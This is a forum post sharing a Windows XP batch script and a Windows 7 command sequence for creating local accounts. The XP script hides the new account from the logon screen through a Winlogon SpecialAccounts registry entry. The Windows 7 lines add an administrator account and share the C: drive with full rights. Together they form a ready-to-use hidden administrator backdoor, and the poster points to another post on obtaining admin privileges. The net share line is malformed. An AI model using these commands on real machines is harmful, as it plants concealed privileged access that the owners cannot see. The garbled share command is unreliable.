Jump to content
Sign in to follow this  
651juan

Create accounts via CMD (win7 and xp)

Recommended Posts

For xp use:

@ECHO off
TITLE Admin Account Creator (651juan@cw)
COLOR 0f
set AC_PART=001
:HEADER
echo.
ECHO  [iNFO]
ECHO  [-] Create a hidden user acount (U:%AC_NAME%; P:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE% )
echo    \
GOTO %AC_PART%

:001
SET /P AC_NAME=[*] Account name? :
cls
SET AC_PART=002
GOTO HEADER

:002
SET /P AC_PASS=[*] Account password? :
cls
SET AC_PART=003
GOTO HEADER

:003
SET /P AC_COMMENT=[*] Account Comment? :
cls
SET AC_PART=004
GOTO HEADER

:004
ECHO    [* The following groups are available on the machine.
ECHO.
net localgroup | find "*"
ECHO.
SET /P AC_GROUP=[*] Group? :
cls
SET AC_PART=005
GOTO HEADER

:005
SET /P AC_OK=[*] Creating acount now, Continue? (y/n) :
IF NOT %AC_OK%==y GOTO 0051
net user %AC_NAME% %AC_PASS% /add /COMMENT:"%AC_COMMENT%"
net localgroup "%AC_GROUP%" %AC_NAME% /add
ECHO.
pause

:0051
cls
SET AC_PART=006
GOTO HEADER

:006
SET /P AC_HIDE=[*] Do you want to hide the account from the XP logon screen? (y/n) :
IF NOT %AC_HIDE%==y GOTO END
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg
echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg
Del %TEMP%\addregistry.reg
:END
ECHO.
pause

 

For win 7 use:

net user /add useraccountname mypassword

net localgroup administrators useraccountname /add

net share concfg*C:\/grant:useraccountname,full

net user useraccountname *

 

This will create an administrator account called useraccountname with a password of mypassword. The account can be created without a password as well.

 

If you need to delete the account use the same code as mentioned in line 1, but insert 'delete' where 'add' was used.

Administrator privileges may be needed.. look for my other post on how to get these.

  • Like 2

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×